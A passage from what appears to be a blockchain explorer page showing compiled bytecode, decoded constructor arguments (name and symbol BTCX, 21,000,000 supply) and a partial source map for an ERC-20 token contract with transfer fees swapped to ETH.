b6000821161176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612a94565b60405180910390fd5b601060149054906101000a900460ff16156117925761178b848484611bda565b9050611b11565b600061179d30610882565b9050601060149054906101000a900460ff161580156118065750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181e5750601060159054906101000a900460ff165b1561188957601060169054906101000a900460ff161561183e57600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061188881611dad565b5b611912836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119f85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a0c57611a07868686611e2b565b611a0e565b835b9050611a6281600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b029190612af4565b60405180910390a36001925050505b9392505050565b6000838311158290611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5791906129b2565b60405180910390fd5b5060008385611b6f9190612cea565b9050809150509392505050565b6000808284611b8b9190612c09565b905083811015611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc790612a34565b60405180910390fd5b8091505092915050565b6000611c65826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cfa82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9a9190612af4565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611dd181612052565b60004790506000811115611e0c57611e0b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261234e565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eb357611eac6064611e9e6009548661239990919063ffffffff16565b61241490919063ffffffff16565b9050611f31565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f3057611f2d6064611f1f600a548661239990919063ffffffff16565b61241490919063ffffffff16565b90505b5b600081111561203557611f8c81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202c9190612af4565b60405180910390a35b612048818461245e90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561206f5761206e612ea6565b5b60405190808252806020026020018201604052801561209d5781602001602082028036833780820191505090505b50905030816000815181106120b5576120b4612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061212657612125612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612200919061258c565b8160028151811061221457612213612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227b30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122df959493929190612b3f565b600060405180830381600087803b1580156122f957600080fd5b505af115801561230d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612342929190612b0f565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612394573d6000803e3d6000fd5b505050565b6000808314156123ac576000905061240e565b600082846123ba9190612c90565b90508284826123c99190612c5f565b14612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090612a54565b60405180910390fd5b809150505b92915050565b600061245683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124a8565b905092915050565b60006124a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b18565b905092915050565b600080831182906124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e691906129b2565b60405180910390fd5b50600083856124fe9190612c5f565b9050809150509392505050565b60008135905061251a81613166565b92915050565b60008151905061252f81613166565b92915050565b6000815190506125448161317d565b92915050565b60008135905061255981613194565b92915050565b60006020828403121561257557612574612ed5565b5b60006125838482850161250b565b91505092915050565b6000602082840312156125a2576125a1612ed5565b5b60006125b084828501612520565b91505092915050565b600080604083850312156125d0576125cf612ed5565b5b60006125de8582860161250b565b92505060206125ef8582860161250b565b9150509250929050565b60008060006060848603121561261257612611612ed5565b5b60006126208682870161250b565b93505060206126318682870161250b565b92505060406126428682870161254a565b9150509250925092565b6000806040838503121561266357612662612ed5565b5b60006126718582860161250b565b92505060206126828582860161254a565b9150509250929050565b6000602082840312156126a2576126a1612ed5565b5b60006126b084828501612535565b91505092915050565b6000602082840312156126cf576126ce612ed5565b5b60006126dd8482850161254a565b91505092915050565b60006126f283836126fe565b60208301905092915050565b61270781612d1e565b82525050565b61271681612d1e565b82525050565b600061272782612bc4565b6127318185612be7565b935061273c83612bb4565b8060005b8381101561276d57815161275488826126e6565b975061275f83612bda565b925050600181019050612740565b5085935050505092915050565b61278381612d30565b82525050565b61279281612d73565b82525050565b60006127a382612bcf565b6127ad8185612bf8565b93506127bd818560208601612d85565b6127c681612eda565b840191505092915050565b60006127de602383612bf8565b91506127e982612eeb565b604082019050919050565b6000612801602683612bf8565b915061280c82612f3a565b604082019050919050565b6000612824602283612bf8565b915061282f82612f89565b604082019050919050565b6000612847601b83612bf8565b915061285282612fd8565b602082019050919050565b600061286a602183612bf8565b915061287582613001565b604082019050919050565b600061288d602083612bf8565b915061289882613050565b602082019050919050565b60006128b0602983612bf8565b91506128bb82613079565b604082019050919050565b60006128d3602583612bf8565b91506128de826130c8565b604082019050919050565b60006128f6602483612bf8565b915061290182613117565b604082019050919050565b61291581612d5c565b82525050565b61292481612d66565b82525050565b600060208201905061293f600083018461270d565b92915050565b600060408201905061295a600083018561270d565b612967602083018461270d565b9392505050565b6000604082019050612983600083018561270d565b612990602083018461290c565b9392505050565b60006020820190506129ac600083018461277a565b92915050565b600060208201905081810360008301526129cc8184612798565b905092915050565b600060208201905081810360008301526129ed816127d1565b9050919050565b60006020820190508181036000830152612a0d816127f4565b9050919050565b60006020820190508181036000830152612a2d81612817565b9050919050565b60006020820190508181036000830152612a4d8161283a565b9050919050565b60006020820190508181036000830152612a6d8161285d565b9050919050565b60006020820190508181036000830152612a8d81612880565b9050919050565b60006020820190508181036000830152612aad816128a3565b9050919050565b60006020820190508181036000830152612acd816128c6565b9050919050565b60006020820190508181036000830152612aed816128e9565b9050919050565b6000602082019050612b09600083018461290c565b92915050565b6000604082019050612b24600083018561290c565b8181036020830152612b36818461271c565b90509392505050565b600060a082019050612b54600083018861290c565b612b616020830187612789565b8181036040830152612b73818661271c565b9050612b82606083018561270d565b612b8f608083018461290c565b9695505050505050565b6000602082019050612bae600083018461291b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c1482612d5c565b9150612c1f83612d5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c5457612c53612dea565b5b828201905092915050565b6000612c6a82612d5c565b9150612c7583612d5c565b925082612c8557612c84612e19565b5b828204905092915050565b6000612c9b82612d5c565b9150612ca683612d5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cdf57612cde612dea565b5b828202905092915050565b6000612cf582612d5c565b9150612d0083612d5c565b925082821015612d1357612d12612dea565b5b828203905092915050565b6000612d2982612d3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d7e82612d5c565b9050919050565b60005b83811015612da3578082015181840152602081019050612d88565b83811115612db2576000848401525b50505050565b60006002820490506001821680612dd057607f821691505b60208210811415612de457612de3612e48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61316f81612d1e565b811461317a57600080fd5b50565b61318681612d30565b811461319157600080fd5b50565b61319d81612d5c565b81146131a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220801c29cbf86fb02e0f92f3ed392cf533bc074e598ad0f5246805f3188de9ef5564736f6c63430008060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000001406f400000000000000000000000000000000000000000000000000000000000000004425443580000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044254435800000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): BTCX
Arg [1] : coinSymbol (string): BTCX
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 21000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000000000000000000001406f40
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4254435800000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4254435800000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8042:9510:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10759:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12050:153;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11036:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13911:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8299:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10945:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11422:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12556:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8556:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6201:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11144:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5582:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5796:145;;;;;;;;;;;;;:::i;:::-;;10850:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11921:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11648:265;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13736:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5458:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12792:704;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11271:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5949:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10759:83;10796:13;10829:5;10822:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10759:83;:::o;12050:153::-;12125:4;12142:39;12151:12;:10;:12::i;:::-;12165:7;12174:6;12142:8;:39::i;:::-;12191:4;12184:11;;12050:153;;;;:::o;11036:100::-;11089:7;11116:12;;11109:19;;11036:100;:::o;13911:313::-;14009:4;14026:36;14036:6;14044:9;14055:6;14026:9;:36::i;:::-;;14073:121;14082:6;14090:12;:10;:12::i;:::-;14104:89;14142:6;14104:89;;;;;;;;;;;;;;;;;:11;:19;14116:6;14104:19;;;;;;;;;;;;;;;:33;14124:12;:10;:12::i;:::-;14104:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14073:8;:121::i;:::-;14212:4;14205:11;;13911:313;;;;;:::o;8299:71::-;;;;;;;;;;;;;:::o;10945:83::-;10986:5;11011:9;;;;;;;;;;;11004:16;;10945:83;:::o;11422:218::-;11510:4;11527:83;11536:12;:10;:12::i;:::-;11550:7;11559:50;11598:10;11559:11;:25;11571:12;:10;:12::i;:::-;11559:25;;;;;;;;;;;;;;;:34;11585:7;11559:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11527:8;:83::i;:::-;11628:4;11621:11;;11422:218;;;;:::o;12556:125::-;5719:12;:10;:12::i;:::-;5709:22;;:6;;;;;;;;;;:22;;;5701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12665:8:::1;12638:24;:35;;;;12556:125:::0;:::o;8556:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6201:90::-;6241:7;6268:15;6261:22;;6201:90;:::o;11144:119::-;11210:7;11237:9;:18;11247:7;11237:18;;;;;;;;;;;;;;;;11230:25;;11144:119;;;:::o;5582:79::-;5620:7;5647:6;;;;;;;;;;;5640:13;;5582:79;:::o;5796:145::-;5719:12;:10;:12::i;:::-;5709:22;;:6;;;;;;;;;;:22;;;5701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5900:1:::1;5863:40;;5884:6;::::0;::::1;;;;;;;;5863:40;;;;;;;;;;;;5931:1;5914:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5796:145::o:0;10850:87::-;10889:13;10922:7;10915:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10850:87;:::o;11921:121::-;11983:7;12010:24;;12003:31;;11921:121;:::o;11648:265::-;11741:4;11758:129;11767:12;:10;:12::i;:::-;11781:7;11790:96;11829:15;11790:96;;;;;;;;;;;;;;;;;:11;:25;11802:12;:10;:12::i;:::-;11790:25;;;;;;;;;;;;;;;:34;11816:7;11790:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11758:8;:129::i;:::-;11905:4;11898:11;;11648:265;;;;:::o;13736:167::-;13814:4;13831:42;13841:12;:10;:12::i;:::-;13855:9;13866:6;13831:9;:42::i;:::-;;13891:4;13884:11;;13736:167;;;;:::o;5458:21::-;;;;;;;;;;;;:::o;12792:704::-;5719:12;:10;:12::i;:::-;5709:22;;:6;;;;;;;;;;:22;;;5701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12875:4:::1;12861:11;;:18;;;;;;;;;;;;;;;;;;12897:4;12883:11;;:18;;;;;;;;;;;;;;;;;;12925:12;12912:10;:25;;;;12972:4;12948:21;;:28;;;;;;;;;;;;;;;;;;13024:7;;;;;;;;;;;12987:15;;:45;;;;;;;;;;;;;;;;;;13044:21;13086:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13068:52;;;13129:4;13136:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13068:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13044:115;;13198:1;13173:27;;:13;:27;;;13170:254;;13223:13;13216:29;;;13254:15;;;;;;;;;;;13272:14;13216:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13170:254;;;13336:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13318:55;;;13382:4;13389:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13318:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13170:254;13471:6;13434:15;;:44;;;;;;;;;;;;;;;;;;12850:646;12792:704:::0;:::o;11271:143::-;11352:7;11379:11;:18;11391:5;11379:18;;;;;;;;;;;;;;;:27;11398:7;11379:27;;;;;;;;;;;;;;;;11372:34;;11271:143;;;;:::o;5949:244::-;5719:12;:10;:12::i;:::-;5709:22;;:6;;;;;;;;;;:22;;;5701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6058:1:::1;6038:22;;:8;:22;;;;6030:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6148:8;6119:38;;6140:6;::::0;::::1;;;;;;;;6119:38;;;;;;;;;;;;6177:8;6168:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5949:244:::0;:::o;102:115::-;155:15;198:10;183:26;;102:115;:::o;12211:337::-;12321:1;12304:19;;:5;:19;;;;12296:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12402:1;12383:21;;:7;:21;;;;12375:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12486:6;12456:11;:18;12468:5;12456:18;;;;;;;;;;;;;;;:27;12475:7;12456:27;;;;;;;;;;;;;;;:36;;;;12524:7;12508:32;;12517:5;12508:32;;;12533:6;12508:32;;;;;;:::i;:::-;;;;;;;;12211:337;;;:::o;14232:1346::-;14319:4;14364:1;14346:20;;:6;:20;;;;14338:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14448:1;14427:23;;:9;:23;;;;14419:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14518:1;14509:6;:10;14501:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;14599:16;;;;;;;;;;;14596:975;;;14648:41;14663:6;14671:9;14682:6;14648:14;:41::i;:::-;14641:48;;;;14596:975;14742:28;14773:24;14791:4;14773:9;:24::i;:::-;14742:55;;14819:16;;;;;;;;;;;14818:17;:42;;;;;14840:12;:20;14853:6;14840:20;;;;;;;;;;;;;;;;;;;;;;;;;14839:21;14818:42;:67;;;;;14864:21;;;;;;;;;;;14818:67;14814:311;;;14922:25;;;;;;;;;;;14919:98;;;14993:24;;14970:47;;14919:98;15048:6;15036:9;;:18;;;;;;;;;;;;;;;;;;15073:36;15088:20;15073:14;:36::i;:::-;14814:311;15161:53;15183:6;15161:53;;;;;;;;;;;;;;;;;:9;:17;15171:6;15161:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15141:9;:17;15151:6;15141:17;;;;;;;;;;;;;;;:73;;;;15231:19;15254:13;:21;15268:6;15254:21;;;;;;;;;;;;;;;;;;;;;;;;;:49;;;;15279:13;:24;15293:9;15279:24;;;;;;;;;;;;;;;;;;;;;;;;;15254:49;15253:139;;15358:34;15366:6;15374:9;15385:6;15358:7;:34::i;:::-;15253:139;;;15349:6;15253:139;15231:161;;15434:37;15459:11;15434:9;:20;15444:9;15434:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;15411:9;:20;15421:9;15411:20;;;;;;;;;;;;;;;:60;;;;15510:9;15493:40;;15502:6;15493:40;;;15521:11;15493:40;;;;;;:::i;:::-;;;;;;;;15555:4;15548:11;;;;14232:1346;;;;;;:::o;1530:184::-;1616:7;1649:1;1644;:6;;1652:12;1636:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1668:9;1684:1;1680;:5;;;;:::i;:::-;1668:17;;1705:1;1698:8;;;1530:184;;;;;:::o;1197:181::-;1255:7;1275:9;1291:1;1287;:5;;;;:::i;:::-;1275:17;;1316:1;1311;:6;;1303:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1369:1;1362:8;;;1197:181;;;;:::o;15586:330::-;15679:4;15716:53;15738:6;15716:53;;;;;;;;;;;;;;;;;:9;:17;15726:6;15716:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15696:9;:17;15706:6;15696:17;;;;;;;;;;;;;;;:73;;;;15803:32;15828:6;15803:9;:20;15813:9;15803:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15780:9;:20;15790:9;15780:20;;;;;;;;;;;;;;;:55;;;;15868:9;15851:35;;15860:6;15851:35;;;15879:6;15851:35;;;;;;:::i;:::-;;;;;;;;15904:4;15897:11;;15586:330;;;;;:::o;15926:305::-;9536:4;9517:16;;:23;;;;;;;;;;;;;;;;;;16030:25:::1;16047:7;16030:16;:25::i;:::-;16066:22;16091:21;16066:46;;16145:1;16128:14;:18;16125:96;;;16161:60;16182:22;;;;;;;;;;;16206:14;16161:20;:60::i;:::-;16125:96;15987:244;9582:5:::0;9563:16;;:24;;;;;;;;;;;;;;;;;;15926:305;:::o;16937:605::-;17023:7;17045:17;17065:1;17045:21;;17080:12;:20;17093:6;17080:20;;;;;;;;;;;;;;;;;;;;;;;;;17077:237;;;17129:38;17163:3;17129:29;17140:17;;17129:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;17117:50;;17077:237;;;17211:12;:23;17224:9;17211:23;;;;;;;;;;;;;;;;;;;;;;;;;17208:106;;;17263:39;17298:3;17263:30;17274:18;;17263:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;17251:51;;17208:106;17077:237;17339:1;17327:9;:13;17324:170;;;17381:39;17410:9;17381;:24;17399:4;17381:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;17357:9;:21;17375:1;17357:21;;;;;;;;;;;;;;;:63;;;;17465:4;17440:42;;17449:6;17440:42;;;17472:9;17440:42;;;;;;:::i;:::-;;;;;;;;17324:170;17513:21;17524:9;17513:6;:10;;:21;;;;:::i;:::-;17506:28;;;16937:605;;;;;:::o;16239:686::-;16365:21;16403:1;16389:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16365:40;;16434:4;16416;16421:1;16416:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16460:9;;;;;;;;;;;16450:4;16455:1;16450:7;;;;;;;;:::i;:::-;;;;;;;:19;;;;;;;;;;;16490:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16480:4;16485:1;16480:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16525:62;16542:4;16557:15;;;;;;;;;;;16575:11;16525:8;:62::i;:::-;16634:15;;;;;;;;;;;:66;;;16711:11;16733:1;16773:4;16796;16828:15;16634:220;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16882:35;16899:11;16912:4;16882:35;;;;;;;:::i;:::-;;;;;;;;16294:631;16239:686;:::o;13504:126::-;13596:9;:18;;:26;13615:6;13596:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13504:126;;:::o;1722:250::-;1780:7;1809:1;1804;:6;1800:47;;;1834:1;1827:8;;;;1800:47;1859:9;1875:1;1871;:5;;;;:::i;:::-;1859:17;;1904:1;1899;1895;:5;;;;:::i;:::-;:10;1887:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1963:1;1956:8;;;1722:250;;;;;:::o;1980:132::-;2038:7;2065:39;2069:1;2072;2065:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2058:46;;1980:132;;;;:::o;1386:136::-;1444:7;1471:43;1475:1;1478;1471:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1464:50;;1386:136;;;;:::o;2120:278::-;2206:7;2238:1;2234;:5;2241:12;2226:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2265:9;2281:1;2277;:5;;;;:::i;:::-;2265:17;;2389:1;2382:8;;;2120:278;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:137::-;355:5;386:6;380:13;371:22;;402:30;426:5;402:30;:::i;:::-;361:77;;;;:::o;444:139::-;490:5;528:6;515:20;506:29;;544:33;571:5;544:33;:::i;:::-;496:87;;;;:::o;589:329::-;648:6;697:2;685:9;676:7;672:23;668:32;665:2;;;703:79;;:::i;:::-;665:2;823:1;848:53;893:7;884:6;873:9;869:22;848:53;:::i;:::-;838:63;;794:117;655:263;;;;:::o;924:351::-;994:6;1043:2;1031